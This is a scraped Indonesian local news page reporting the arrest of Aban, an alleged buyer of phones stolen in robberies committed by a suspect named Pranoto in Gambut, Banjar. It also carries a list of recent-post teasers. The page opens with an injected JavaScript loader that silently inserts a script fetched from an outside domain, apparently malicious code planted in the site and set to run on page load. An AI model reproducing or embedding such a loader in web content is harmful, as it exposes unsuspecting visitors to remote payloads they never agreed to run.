(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polisi Bekuk Aban, Penadah Barang Hasil Begal


MARTAPURA, Setelah meringkus Pranoto, yang merupakan tersangka begal, Unit Reskrim Polsek Gambut kembali berhasil menangkap penadah barang hasil begal di sebuah rumah yang terletak di Jalan Pahlawan Desa Guntung Ujung, Kecamatan Gambut, Kabupaten Banjar, Kamis (5/7).

Sebelumnya Unit Reskrim Polsek Gambut dan Anggota Intelkam Polsek Gambut pimpin Kanit Reskrim Ipda H. Ruspandi didampingi Kanit Intelkam Bripka Edy Purwanto berhasil meringkus Pranoto alias Noto yang diketahui telah melakukan aksi begal di Jalan A Yani Km 17.500  Kelurahan Gambut, Kecamatan Gambut. Pada kasusnya itu, Pranoto merampas barang milik korbannya berupa 1 Buah Handphone Oppo A57 dan 1 Buah Handphone Neo 7.

Baca Juga : Tujuh Kali Melakukan Aksi Begal, Pranoto ‘Dihadiahi’ Timah Panas

Paska penangkapan terhadap Pranoto, pihak Kepolisian selanjutnya melakukan pengembangan untuk mengetahui tersangka yang berperan sebagai penadah barang bukti kasus tersebut. Alhasil, Unit Reskrim Polsek Gambut dan Anggota Intelkam Gambut berhasil mengamanan Saberansyah alias Aban yang mengakui telah membeli barang hasil kejahatan.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Gambut AKP Purnoto membenarkan penangkapan terhadap pelaku penadah barang kejahatan tersebut.

“Benar pelaku Aban ini telah mengakui membeli 1 Buah Handphone Oppo A57 dan 1  Buah Handphone Neo 7 dari  tersangka Pranoto yang sebelumnya telah diamankan,” ungkapnya.

Pranoto sudah 7 kali melakukan tindak pidana pencurian dengan pemberatan dengan tempat kejadian Perkara di Wilayah Hukum Polsek Gambut. “Semua aksinya itu pelaku mendapatkan 6 buah Hp dan 1 kendaraan motor Honda Revo warna Hitam“ pungkas Kapolres Banjar

Dalam pengakuannya, Aban mengungkapkan telah membeli handphone merek Oppo dari tersangka Pranoto dengan kisaran harga Rp 1 juta. Namun dirinya menyangkal tidak mengetahui Handphone yang dibelinya tersebut merupakan hasil dari tindak kejahatan yang mana hal ini bertentangan dengan pengakuan Pranoto yang mengatakan bahwa Aban sebenarnya mengetahui Handphone tersebut atas aksi begalnya. “pengakuan keduanya, si penadah dan si tersangka begal bertentangan, namun kita masih proses lebih lanjut” ungkapnya. (rico)

Reporter:Rico
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.